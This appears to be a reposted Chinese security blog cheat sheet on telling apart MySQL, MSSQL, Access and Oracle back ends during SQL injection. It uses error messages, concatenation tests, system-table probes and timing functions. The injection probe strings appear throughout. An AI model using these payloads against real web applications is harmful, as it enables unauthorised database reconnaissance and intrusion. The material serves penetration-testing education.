admin 2022年1月6日01:46:02评论48 views字数 2410阅读8分2秒阅读模式

判断MySQL数据库

1.通过报错信息

you have an error in your SQL syntax,check the manual that corrsponds to your mysql server version for the tifht syntax to use near ” at line x

2. 通过连接符判断

‘1’+’1′ = ’11’ (mssql也支持,需要用第二句)

concat(‘1′,’1′) = ’11’

‘adm’ ‘in’ = ‘admin’(空格就等同于+)

3. 通过特有数据表判断

and (select count(*) from information_schema.TABLES)>0

4. 通过length和char函数判断

1
同时支持length()和char()。len应该也可以。and len('a')=1 (返回正常,MySQL或mssql)

5. 通过BENCHMARK函数判断

select BENCHMARK(100000,MD5(‘ADMIN’))

6. 通过@@version和version()判断

1
同时支持@@version和version(),如果version()报错就是mssql。

7. 通过注释符/*判断

1
如果/**/返回错误,说明不是MySQL。

判断MSSQL数据库

1.通过报错信息

Msg 170,level 15, State 1,Line 1

Line 1:Incorrect syntax near ‘foo

Msg 105,level 15,state 1,Line 1

Unclose quotation mark before the character string ‘foo

或者:

1
Microsoft ODBC Database Engine 错误

2. 通过连接符判断

1
'1'+'1' = '11' (MySql也支持)

3. 通过特有数据表判断

1
and (select count(*) from sysobjects)>0 (返回正常)  and (select count(*) from msysobjects)>0  (返回错误)

4. 通过默认变量SERVERNAME判断

1
select @@SERVERNAMW  ?id=0/@@SERVERNAME (可能会触发错误报错)

5. 通过len函数判断

and len(‘a’)=1

返回正常,可能是mssql,mysql,db2.

6.通过@@version和version()判断

1
@@version不报错,version()报错。

7. 通过substring函数判断

substring(‘abc’,1,1)=a

返回正常,可能是mssql。Oracle只能用substr。

8.通过注释符–判断

1
使用--返回正常,说明是mssql或者oracle。 ;--     (返回正常,mssql; 错误,基本就是Access)

9. 通过sysobjects判断

1
2
and (select count(*) from sysobjects)>0		一
and (select count(*) from msysobjects)>0 二

先使用如果第一句,没有出错就肯定不是Acess;
再看第二句,出错了就是SQL-Server;
如果第一句和第二句都出错了,就是Access。
Access只能使用盲猜表名和列名。

判断Access数据库

1.通过报错信息

1
Microsoft JET Database Engine错误 '80040e14'

2. 通过特有数据表判断

and (select count(*) from msysobjects)>0

具体看上面MSSQL的图。

3. 通过len和chr函数判断

1
同时支持len()和chr(),且不支持length()和char()

4. 通过注释符;–判断

1
使用;--,返回错误,基本可以肯定是Access。

判断Oracle数据库

1.通过报错信息判断

ORA-01756:quoted string not properly terminated

ORA-00933:SQLcommand not properly ended

2. 通过连接符判断

‘1’||’1’=’11’

concat(‘1′,’1′)=’11’

3. 通过特有数据表判断

and (select count(*) from sys.user_tables)>0

4. 通过length函数判断

1
可以使用length,不能使用len.  len('a')=1  (报错)
  1. 通过substr函数判断
1
只能使用substr,不能用substring。

其它数据库

1
可根据使用相应数据库的注入语句一个个测试。如:Postgre的pg_sleep(5), sqlite的sqlite_version()等。

参考文章:

https://blog.51cto.com/baiwuya2009/1946358?_adFA0.350332429510239

https://blog.dyboy.cn/websecurity/149.html

http://www.51testing.com/html/10/171610-78245.html

https://blog.csdn.net/Wu000999/article/details/88987253

https://www.cnblogs.com/Fluorescence-tjy/p/10400588.html

http://ggy.816ym.com/2020/04/01/%E4%B8%8D%E5%90%8C%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E6%B3%A8%E5%85%A5%E6%96%B9%E6%B3%95(Access%E3%80%81SQLServer)/

https://www.bugfor.com/web/5167.html

FROM :b0urne.top | Author:b0urne

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:46:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   http://cn-sec.com/archives/722672.html

发表评论

匿名网友 填写信息